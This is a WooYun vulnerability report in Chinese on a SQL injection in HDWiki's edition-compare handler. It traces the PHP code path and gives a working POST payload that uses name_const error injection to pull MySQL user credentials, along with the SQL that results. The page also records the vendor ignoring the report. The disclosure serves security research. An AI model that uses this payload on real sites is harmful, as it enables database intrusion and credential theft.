当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088613

漏洞标题:hdwiki 一处sql注入

相关厂商:互动在线(北京)科技有限公司

漏洞作者: Power

提交时间:2014-12-25 17:19

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-02-23: 细节向核心白帽子及相关领域专家公开
2015-03-05: 细节向普通白帽子公开
2015-03-15: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

费了些力气,不过还是不错的。
注入,不过不是get方式,规则绕不过去,求大牛们秒了它,post方式注入,不过这个漏洞感觉很有意思。
最后再说,别不给确认,不给rank

详细说明:

先来看看Hdwiki处理提交数据的方式,get就算了,各种绕不过。
在/hdwiki/model/hdwiki.class.php中
大约 52行

$this->post = string::haddslashes($_POST); //跟入


haddslashes函数如下,可以看到POST过来的数据处理addslashes(单引号,双引号,反斜杠,NULL)下

function haddslashes($string, $force = 0) {
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = string::haddslashes($val, $force);
}
}else {
$string = addslashes($string);
}
}
return $string;
}


再来看/hdwiki/control/edition.php中function docompare()

function docompare(){
if(!empty($this->setting['check_useragent'])) {
$this->load('anticopy');
if(!$_ENV['anticopy']->check_useragent()){
$this->message('禁止访问','',0);
}
}
if(!empty($this->setting['check_visitrate'])) {
$this->load('anticopy');
$_ENV['anticopy']->check_visitrate();
}
if ($this->get[4] == 'box'){
@header('Content-type: text/html; charset='.WIKI_CHARSET);
if(!@is_numeric($this->get[2])||!@is_numeric($this->get[3])){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$did = $this->get[2];
$eid = $this->get[3];
$edition = array();
$editions=$_ENV['doc']->get_edition_list($did,'`time`,`authorid`,`author`,`words`,`images`,`content`', $eid);

$this->view->assign('edition',$editions);
$this->view->display('comparebox');
exit;
}
if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){ //这个地方程序判断的是数组中第一及第二个是否为数字,我们post数据为eid[0]=num,eid[1]=num就可以绕过去执行下面的函数了。
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$edition=$_ENV['doc']->get_edition($this->post['eid']); //这个地方产生问题,跟踪进入get_edition函数
....省略代码


来看get_edition函数

function get_edition($eid){
$editionlist=array();
if(is_numeric($eid)){ //这个地方判断$eid是否为数字,我们传过来的肯定不是数字了,这个if下不用看了,直接到了else中。
$edition= $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid=$eid");
if($edition){
$edition['comtime']=$edition['time'];
$edition['time']=$this->base->date($edition['time']);
$edition['rawtitle']=$edition['title'];
$edition['title']=htmlspecialchars($edition['title']);
if(!$edition['content']){
$edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
}
}
return $edition;
}else{ //函数运行到了这里,到这就直接带入查询了,所以产生问题。
$query=$this->db->query(" SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");
while($edition=$this->db->fetch_array($query)){
$edition['time']=$this->base->date($edition['time']);
$edition['rawtitle']=$edition['title'];
$edition['title']=htmlspecialchars($edition['title']);
if(!$edition['content']){
$edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
}
$editionlist[]=$edition;
}
return $editionlist;
}
}


查询函数如下

function query($sql, $type = 'SILENT'){
global $mquerynum;
$func = $type == 'UNBUFFERED' && @function_exists('mysql_unbuffered_query') ? 'mysql_unbuffered_query' : 'mysql_query';
// echo "<br>";
// var_dump($func); //string(11) "mysql_query"
// echo "<br>";
// var_dump($this->mlink); //resource(13) of type (mysql link)
// echo "<br>";

if(!($query = $func($sql, $this->mlink)) && $type != 'SILENT'){ //这个地方不会爆错。
$this->halt("MySQL Query Error",'TRUE',$sql);
}
$mquerynum++;
return $query;
}

漏洞证明:

Hdwiki中不能够报错输出,可以使用盲注之类的方法来输出数据,直接输出下吧,剩下的就是工具跑下。
首先注册一个用户然后如下访问
url 后边的19 3不一定非要这样。

hdwiki/hdwiki/index.php?edition-compare-19-3


然后post数据为,要是GET就完了,各种过滤啊。

eid[0]=1&eid[1]=2&eid[3]=ss) and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c) #(


如下图

zzs.JPG


最后来看下数据库中执行语句。

SELECT * FROM wiki_edition WHERE eid IN (1,2,ss) and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c) #()


数据如下

ssd.JPG


修复方案:

过滤了这么多,你们应该很专业。

版权声明:转载请注明来源 Power@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无